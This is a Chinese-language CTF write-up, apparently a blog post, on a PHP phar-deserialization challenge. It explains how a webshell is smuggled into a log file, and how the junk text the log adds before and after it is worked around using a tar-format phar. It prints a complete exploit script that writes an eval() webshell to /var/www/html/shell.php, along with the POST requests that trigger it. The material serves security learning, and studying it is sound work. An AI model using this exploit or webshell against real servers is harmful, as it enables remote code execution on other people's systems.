当前位置: 首页 > news >正文

网络安全平台测试赛 easyphp(phar脏数据处理)

昨天的比赛,14.00-17.00.时间有点紧张,比赛期间没拿下来这道 😭非常痛苦,很顺畅的思路 一步步想下来,卡在最后一步末尾脏数据处理了,最后时间到了 没打通,还需多练

这里本地复现一下:

看一下附件里的 logger.php

<?php
error_reporting(0);
class Logger{private $filename;private $content;private $endContent;function __construct($filename,$endContent){$this->filename = $filename;$this->endContent = $endContent;}function info($content){!file_exists(dirname($this->filename)) ? mkdir(dirname($this->filename)) : "";$content = "Type:INFO Messsage:$content";$file = fopen($this->filename,"a");fwrite($file,$content);fclose($file);}function __destruct(){$this->info($this->endContent);}
}$time = time();
$logger = new Logger("log/info.log","Close at $time");
$fileName = $_POST['file'];
$userName = $_POST["name"] ?? "nothing";
if (file_exists($fileName)){echo "File exists";$logger->info("$userName");
}else{echo "File does not exist";$logger->info("$userName");
}
?>

审一下,大题就是 POST传入file和name参数,执行file_exists($fileName) 不管是否存在,都会执行 $logger->info($userName);  logger::info()函数功能为 往 $this->filename里 fopen($filename,"a") 写入传入的name参数的内容。 也就是往 log/info.log里。

然后函数执行完毕,对象销毁的时候,执行一次 __destruct()函数,再往log/info.log 写入 Close at $time

由于不存在反序列化函数unserialize(), 因此这个$logger这个对象里 $this->name 是不可控的,就是 log/info.log

$logger = new Logger("log/info.log","Close at $time");

但是 file_exists()会触发phar反序列化,同时结合上面 我们可以写入 log/info.log文件,那我们是不是可以通过 post name参数,post 一个我们构造好的phar文件内容,写入到 log/info.log文件里。由于phar:// 协议可以解析其他后缀(主要是看文件内容,不看后缀), 因此我们再次通过file_exists()去触发 phar反序列化,触发__destruct(),从而 通过 构造好的序列化meta数据 $this->filename, $this->endContent 往filename 写入我们要执行的命令(🐎)

 原理是这样,没错。 但是,,, 你看看log/info.log里的东西

payload为我们phar文件内容,但是很明显info.log并不是纯正的phar文件,里面有脏东西的,,

由于签名部分的存在,php会校验文件哈希值,并检查末尾是否为GBMB,如下是解析部分的源码: 

 phar文件的格式,签名 不允许他前后有东西,解析不了 这怎么办????

这里涉及到了脏数据的处理,解决方法:

(1) 绕过前面的脏数据

这里我们可以看到,它前面会给我们加上"Type:INFO Messsage:",phar文件是有签名标准的,签名多了这么一段 会使得签名无效。但是这个是很容易绕过的,这个就比较类似于 之前phar题里的一种图片头绕过,前面需要是GIF89a 。我们只需要在生成phar文件时 setStub 代码里改成

$phar = new Phar("poc.phar"); //文件名
$phar->startBuffering();
/* 设置stub,必须要以__HALT_COMPILER(); ?>结尾 */
$phar->setStub("Type:INFO Messsage:"."<?php __HALT_COMPILER(); ?>");
/* 设置自定义的metadata,序列化存储,解析时会被反序列化 */
$phar->setMetaData($c);
/* 添加要压缩的文件 */
$phar->addFromString("test1.txt","test1");
//签名自动计算
$phar->stopBuffering();

这样在生成文件的时候,会自动前面好,因此这个是非常好绕过的。我们来010editor里看一下生成的phar文件里是什么:

 可以看到前面加上了 "Type:INFO Messsage:"。

回到这道题,我们可以在这样生成phar文件之后,由于题目往log/info.log文件里写内容时,会自己加上"Type:INFO Messsage:",因此我们只需要给 name传构造好的phar文件里"Type:INFO Messsage:" 后面的文件内容(url编码一下) 就可以解决前面脏数据对phar文件解析的影响

但是,在文件执行完,对象销毁的时候,他还会往log/info.log 里写进其他的东西,md 后面又多了一段脏数据: "Type:INFO Messsage:Close at 1677925012"   当时就卡这里了

(2) 通过 tar 绕过phar后面的脏数据

 phar文件如果末尾不是GBMB会直接导致解析失败。我们知道一句话木马由于有<?php ?>这样的头尾标识存在,可以无视前后脏数据;然而对于phar,这样的骚操作被签名部分阻止了

那这个没法绕过吗? 可以的 。

利用convertToExecutable函数,我们可以把phar文件转为其他格式的phar文件,例如.tar和.zip格式

 如果以 tar文件格式储存phar,会使得它不会受后面数据的影响,(这是tar的格式决定的)

当然不止有tar,还有其他格式,对应的转化代码:

<?php
$phar = $phar->convertToExecutable(Phar::TAR,Phar::BZ2);//会生成xxxx.phar.tar.bz2
$phar = $phar->convertToExecutable(Phar::TAR,Phar::GZ);//会生成xxxx.phar.tar.gz
$phar = $phar->convertToExecutable(Phar::ZIP);//会生成xxxx.phar.zip

这里注意就是

$phar = $phar->convertToExecutable(Phar::TAR); //会生成*.phar.tar**
$phar->startBuffering();
$phar->addFromString("Type:INFO Messsage:","");
//tar文件开头是第一个添加文件的的文件名,注意添加的文件顺序不要错了$phar->setStub("Type:INFO Messsage:"."<?php __HALT_COMPILER(); ?>"); //设置stub$phar->setMetadata($test); //将自定义的meta-data存入manifest//签名自动计算
$phar->stopBuffering();

exp如下:

<?php
unlink("a.phar.tar");
class Logger{private $filename = "/var/www/html/shell.php";private $endContent = '<?php eval($_POST["shell"]);?>';
}
$log = "Type:INFO Messsage:";
$log_len = strlen($log);$phar = new Phar("a.phar"); //后缀名必须为phar
$phar = $phar->convertToExecutable(Phar::TAR); //会生成*.phar.tar**$phar->startBuffering();$phar->addFromString("Type:INFO Messsage:","");
//tar文件开头是第一个添加文件的的文件名,注意添加的文件顺序不要错了
$phar->setStub("Type:INFO Messsage:"."<?php __HALT_COMPILER(); ?>"); //设置stub$test = new Logger();
$phar->setMetadata($test); //将自定义的meta-data存入manifest//签名自动计算
$phar->stopBuffering();$exp = file_get_contents("./a.phar.tar");
$post_exp = substr($exp, $log_len);
echo rawurlencode($post_exp); //urlencode输出数据流

生成exp后

先post name=exp&file=aa

然后post name=&file=phar://./log/info.log去触发phar反序列化

成功写入shell.php 

 参考:https://www.cnblogs.com/yyy2015c01/p/phar-deserialization.html

相关文章:

网络安全平台测试赛 easyphp(phar脏数据处理)

昨天的比赛&#xff0c;14.00-17.00.时间有点紧张&#xff0c;比赛期间没拿下来这道 &#x1f62d;非常痛苦&#xff0c;很顺畅的思路 一步步想下来&#xff0c;卡在最后一步末尾脏数据处理了&#xff0c;最后时间到了 没打通&#xff0c;还需多练 这里本地复现一下&#xff1…...

【python】XML格式文件读写详解

注&#xff1a;最后有面试挑战&#xff0c;看看自己掌握了吗 文章目录XML介绍格式XML与AJAX与HTML区别联系生成XML文件案例用SAX模块处理XML用DOM模块处理XML&#x1f338;I could be bounded in a nutshell and count myself a king of infinite space. 特别鸣谢&#xff1a;…...

理解js的精度问题

参考博客&#xff1a;js精度丢失问题-看这篇文章就够了(通俗易懂)、探寻 JavaScript 精度问题以及解决方案、JavaScript 浮点数陷阱及解法 1 为什么 JavaScript 中所有数字包括整数和小数都只有一种类型 即 Number类型&#xff0c;它的实现遵循 IEEE 754 标准。 符号位S&#…...

蓝桥杯 时间显示

题目 输入输出样例 示例 1 输入 46800999输出 13:00:00示例 2 输入 1618708103123输出 01:08:23评测用例规模与约定 对于所有评测用例&#xff0c;给定的时间为不超过 10^{18}1018 的正整数。 运行限制 最大运行时间&#xff1a;1s最大运行内存: 512M 基础知识 时间的转换…...

qt中设置菜单高度

如题所示&#xff0c;我建立一个菜单&#xff0c;代码如下&#xff0c;但是菜单项的高度太小了&#xff0c; &#xff5b; popupMenu new QMenu(this); QAction *action1 new QAction(tr(“&New1”), this); QAction *action2 new QAction(tr(“&New2”), this); QA…...

测开:前端基础-css页面布局-定位

一 、传统网页布局的三种方式 网页布局的本质–用CSS来摆放盒子&#xff0c;把盒子摆放到相应的位置&#xff0c;css提供了三种传统布局方式&#xff0c;分别是标准流&#xff0c;浮动和定位三种。 二、 定位 2.1 啥是定位 我的理解&#xff0c;就是要把这个元素&#xff0c…...

Servlet中八个监听器介绍

一、监听对象创建的监听器 1、ServletContextListener /*** 用于监听ServletContext对象创建和销毁的监听器* since v 2.3*/public interface ServletContextListener extends EventListener {/*** 对象创建时执行此方法。该方法的参数是ServletContextEvent事件对象&#xf…...

LicenseBox Crack,对服务器的要求最低

LicenseBox Crack,对服务器的要求最低 LicenseBox是用于管理基于PHP的软件、WordPress插件或主题、主题、插件和WordPress的更新和许可的完整软件。它易于安装&#xff0c;对服务器的要求最低&#xff0c;用户友好的界面&#xff0c;无限脚本的使用为您的创造力打开了大门。 Li…...

css中重难点整理(vertical-align)

一、vertical-align 在学习vertical-align的时候&#xff0c;可能会很困惑。即使网上有一大推文章讲veitical-align,感觉看完好像懂了&#xff0c;等自己布局的时候用到vertical-align的时候好像对它又很陌生。这就是我在布局的时候遇到的问题。 本来vertical-align就很不好理…...

javaScript基础面试题 ---宏任务微任务

宏任务微任务一、为什么JS是单线程语言&#xff1f;二、JS是单线程&#xff0c;怎样执行异步代码&#xff1f;1、JS是单线程语言 2、JS代码执行流程&#xff0c;同步执行完&#xff0c;再进行事件循环&#xff08;微任务、宏任务&#xff09; 3、清空所有的微任务&#xff0c;再…...

基于JSP的网上书城

技术&#xff1a;Java、JSP等摘要&#xff1a;随着科技的迅速发展&#xff0c;计算机技术已应用到社会的各个领域。随着计算机技术和通信技术的迅速发展&#xff0c;网络的规模也逐渐增大&#xff0c;网络的元素也随之不断增加&#xff0c;有的利用其通信&#xff0c;有的利用其…...

C#教程 05 常量

文章目录 C# 常量整数常量浮点常量字符常量字符串常量定义常量C# 常量 常量是固定值,程序执行期间不会改变。常量可以是任何基本数据类型,比如整数常量、浮点常量、字符常量或者字符串常量,还有枚举常量。 常量可以被当作常规的变量,只是它们的值在定义后不能被修改。 整数…...

【华为OD机试真题java、python】基站维修工程师【2022 Q4 100分】(100%通过)

代码请进行一定修改后使用,本代码保证100%通过率。本文章提供java、python两种代码 题目描述 小王是一名基站维护工程师,负责某区域的基站维护。 某地方有 n 个基站( 1<n<10 ),已知各基站之间的距离 s( 0<s<500 ), 并且基站 x 到基站 y 的距离,与基站 y …...

你是真的“C”——为冒泡排序升级赋能!

你是真的“C”——为冒泡排序升级赋能&#xff01;&#x1f60e;前言&#x1f64c;冒泡排序升级赋能之境界一&#xff01;冒泡排序升级赋能之境界二&#xff01;qsort库函数的运用和认识总结撒花&#x1f49e;&#x1f60e;博客昵称&#xff1a;博客小梦 &#x1f60a;最喜欢的…...

【JavaEE】基于mysql与servlet自制简易的表白墙程序

文章目录1 表白墙页面构建2 Servlet 回顾3 表白墙后端程序实现3.1 我们需要做什么&#xff1f;3.2 实现细节4 实现结果写在最后1 表白墙页面构建 该页面由标题、文本、三个 input 输入框与一个提交按钮构成&#xff0c;整体比较简单&#xff0c;相关样式文件和页面代码会在后面…...

抓包技术(浏览器APP小程序PC应用)

P1 抓包工具 01. Fidder 首先第一个Fiddler它的优势&#xff0c;独立运行&#xff0c;第二个支持移动设备&#xff08;是否能抓移动APP的包&#xff0c;&#xff09;在这一块的话wireshark、httpwatch就不支持&#xff0c;因此在这一块就可以排除掉前连个&#xff0c;因为我们…...

linux笔记(10):ubuntu环境下,基于SDL2运行lvgl+ffmpeg播放mp4

文章目录1.ubuntu安装ffmpeg1.1 源码安装1.1 克隆ffmpeg源码1.2 配置编译条件&#xff0c;编译&#xff0c;安装1.2 直接安装依赖包2.下载lvgl源码2.1 测试原始代码2.2 运行lv_example_ffmpeg_2()例程2.2.1 配置 LV_USE_FFMPEG 为 12.2.2 lv_example_ffmpeg_2()替换lv_demo_wid…...

JavaScript专题之类型判断(下)

参考原文&#xff1a;JavaScript专题之类型判断(下) 前言 在上篇《JavaScript专题之类型判断(上)》中&#xff0c;我们抄袭 jQuery 写了一个 type 函数&#xff0c;可以检测出常见的数据类型&#xff0c;然而在开发中还有更加复杂的判断&#xff0c;比如 plainObject、空对象…...

【VC 7/8】vCenter Server 基于文件的备份和还原Ⅲ—— 使用 SMB 协议备份 VC(VAMI 中文)

目录2.2 使用 SMB 协议备份 VC&#xff08;VAMI 中文&#xff09;&#xff08;1&#xff09;登录 vCenter Server 管理界面&#xff08;2&#xff09;进入备份页面&#xff08;3&#xff09;配置 Backup Schedule&#xff08;4&#xff09;开始备份&#xff08;5&#xff09;备…...

linux - 内核编译

一. 编译的实质基于头文件和c文件--->产生对象文件(.o)将所有的对象文件链接起来&#xff0c;产生可执行文件。内核的编译系统组成Makefile分布在内核源代码中的Makefile&#xff0c; 定义内核的编译规则&#xff0c;配合Kconfig使用。Kconfig配置文件&#xff0c;给用户提供…...

AI辅助开发智能车:让快马平台优化你的图像处理与识别算法

最近在准备智能车竞赛&#xff0c;遇到了一个头疼的问题&#xff1a;摄像头采集的图像受环境光影响太大&#xff0c;导致巡线识别不稳定。特别是在弯道和阴影区域&#xff0c;传统固定阈值的二值化方法完全失效。经过反复尝试&#xff0c;发现用InsCode(快马)平台的AI辅助开发功…...

缠论量化工程化:从痛点突破到智能交易系统构建

缠论量化工程化&#xff1a;从痛点突破到智能交易系统构建 【免费下载链接】chan.py 开放式的缠论python实现框架&#xff0c;支持形态学/动力学买卖点分析计算&#xff0c;多级别K线联立&#xff0c;区间套策略&#xff0c;可视化绘图&#xff0c;多种数据接入&#xff0c;策略…...

微信小程序语音交互实战:长按录制与点击播放的完整实现方案

1. 微信小程序语音交互功能概述 语音交互已经成为现代移动应用不可或缺的功能之一。在微信小程序中实现语音录制与播放&#xff0c;能够极大提升用户体验&#xff0c;特别适合社交、教育、工具类小程序。我最近在一个社交类小程序项目中实现了完整的语音交互模块&#xff0c;踩…...

利用Dify平台快速搭建InternLM2-Chat-1.8B智能应用

利用Dify平台快速搭建InternLM2-Chat-1.8B智能应用 你是不是也遇到过这种情况&#xff1a;好不容易在服务器上部署了一个像InternLM2-Chat-1.8B这样的开源大模型&#xff0c;感觉它能力挺强&#xff0c;但除了在命令行里一问一答&#xff0c;就不知道怎么把它变成一个真正能用…...

PaddlePaddle GPU环境搭建:从驱动到深度学习库的完整指南

1. 为什么需要GPU加速深度学习&#xff1f; 如果你刚接触深度学习&#xff0c;可能会疑惑为什么大家都在讨论GPU。简单来说&#xff0c;GPU就像是个超级计算器&#xff0c;能同时处理大量简单计算。想象你要算100万道加减法题&#xff0c;用普通计算器&#xff08;CPU&#xf…...

如何通过自动化硬件适配技术突破Hackintosh配置瓶颈:OpCore Simplify技术深度解析

如何通过自动化硬件适配技术突破Hackintosh配置瓶颈&#xff1a;OpCore Simplify技术深度解析 【免费下载链接】OpCore-Simplify A tool designed to simplify the creation of OpenCore EFI 项目地址: https://gitcode.com/GitHub_Trending/op/OpCore-Simplify 在开源系…...

2026年实测10款降AI工具:毕业论文降AIGC哪款最靠谱?

2026年毕业季临近&#xff0c;降低论文AI生成痕迹、通过学校AIGC检测已经成为所有毕业生的必过关卡。但当前降AI工具市场鱼龙混杂&#xff1a;不少用户花了高价处理&#xff0c;AI率却纹丝不动&#xff1b;还有的工具改完的论文语句生硬、逻辑混乱&#xff0c;反而过不了答辩。…...

SDXL 1.0插件开发:Photoshop脚本自动化集成

SDXL 1.0插件开发&#xff1a;Photoshop脚本自动化集成 1. 为什么需要Photoshop与SDXL 1.0的深度协作 设计师每天面对的不是单一工具&#xff0c;而是一整套工作流。当AI生成图像成为创意起点&#xff0c;问题就来了&#xff1a;生成的图片如何快速进入专业设计环节&#xff…...

Git子模块更新报错?手把手教你解决‘Unable to find origin/master revision‘问题

Git子模块更新报错深度解析&#xff1a;从原理到实战解决方案 1. 问题现象与核心原因分析 当你执行git submodule update --remote命令时&#xff0c;突然遇到fatal: Unable to find current origin/master revision in submodule path错误提示&#xff0c;这种场景在团队协作…...

Mermaid Live Editor:代码驱动图表的革新者,重新定义技术可视化流程

Mermaid Live Editor&#xff1a;代码驱动图表的革新者&#xff0c;重新定义技术可视化流程 【免费下载链接】mermaid-live-editor Edit, preview and share mermaid charts/diagrams. New implementation of the live editor. 项目地址: https://gitcode.com/GitHub_Trendin…...